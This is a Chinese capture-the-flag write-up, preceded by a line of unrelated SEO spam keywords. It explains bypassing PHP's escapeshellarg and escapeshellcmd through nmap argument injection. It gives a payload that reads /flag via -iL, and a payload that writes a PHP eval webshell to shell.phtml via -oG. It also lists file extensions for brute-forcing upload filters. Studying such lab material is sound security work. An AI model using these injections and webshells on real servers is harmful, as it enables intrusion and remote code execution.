做网站首页的表格的代码,电商网站开发平台pi netwo,iis 建设网站,南阳卧龙区高端网站建设价格这道题考察nmap的一些用法,以及escapeshellarg和escapeshellcmd两个函数的绕过#xff0c;可以看这里PHP escapeshellarg()escapeshellcmd() 之殇 (seebug.org)
两种解题方法#xff1a;
第一种通过nmap的-iL参数读取扫描一个文件到指定文件中第二种是利用nmap的参数写入we…这道题考察nmap的一些用法,以及escapeshellarg和escapeshellcmd两个函数的绕过可以看这里PHP escapeshellarg()escapeshellcmd() 之殇 (seebug.org)
两种解题方法
第一种通过nmap的-iL参数读取扫描一个文件到指定文件中第二种是利用nmap的参数写入webshell
-oN 标准保存 -oX XML保存 -oG Grep保存 -oA 保存到所有格式 第一种
这道题首先我们在注释里面看到了flag存放的位置 可以利用nmap 的-iL参数读取flag到一个文件中我们再访问生成的文件即可 构造一个payload
127.0.0.1 -iL /flag -o haha 经过escapeshellarg函数后 127.0.0.1\ -iL /flag -o haha将单引号转义并用一对单引号包裹起来再将这个语句用单引号包裹起来确保只有一个参数 经过escapeshellcmd函数后 127.0.0.1\\ -iL /flag -o haha\ 对\转义在许多编程语言中反斜杠被用作转义字符用来表示特殊字符或序列。这里面两个相邻的反斜杠\表示一个单独的反斜杠字符没有转义作用。而末尾单引号转义过后的普通字符仍然是它本身没有变化会被视为普通字符不具有单引号的作用了 这样就分为了三部分127.0.0.1和连接空白和-iL /flag -o haha(最后这个单引号只有一个不起作用但它将最后的文件名变为了haha) nmap既可扫描前面的ip又能执行-iL /flag -o haha ip中输入因为127.0.0.1\\执行的时候会被简化为127.0.0.1\这个ip就错了但是不用管报错只要后面命令执行了我们就能访问到 记住文件名变为了haha 直接访问即可看到flag 第二种
正常利用nmap参数-oG写一句话木马127.0.0.1 | ?eval($_REQUEST[cmd]);? -oG shell.php
显然有东西被过滤多半是php的原因 用我这个后缀名字典burp爆破后缀发现还是有很多能用的我们这里就用phtml了
php
php2
php3
php4
php5
pHp
pHp2
pHp3
pHp4
pHp5
html
htm
phtml
pht
Html
Htm
pHtml
asp
aspx
asa
asax
ashx
asmx
cer
aSp
aSpx
aSa
aSax
aScx
aShx
aSmx
cEr
jsp
jspa
jspx
jsw
jxv
jspf
jtml
JSp
jSpx
jSpa
jSw
jSv
jSpf
jHtml
asp/test.jpg
asp;.jpg
cer/test.jpg
cer;.jpg
asa/test.jpg
asa;.jpg
aSp/test.jpg
aSp;.jpg
cEr/test.jpg
cEr;.jpg
aSa/test.jpg
aSa;.jpg
jpg/xx.php
jpg/xx.pHp
jpg/.php
jpg/.pHp
php.xs.aa
php2.aa
php3.aa
php4.aa
php5.aa
pHp.aa
pHp2.aa
pHp3.aa
pHp4.aaa
pHp5.aa
html.aa
htm.aa
phtml.aa
pht.aaa
Html.aaa
Htm.aa
pHtml.aa
php::$DATA构造payload127.0.0.1 | ?eval($_POST[cmd]);? -oG shell.phtml
蚁剑直接连上
escapeshellcmd函数只会转义一些特殊字符如单引号、双引号、反斜杠等以防止它们被误解为命令的一部分。它并不会对?eval($_POST[cmd]);?中的特殊字符进行转义因为这个字符串看起来更像是PHP代码片段而不是外部命令参数。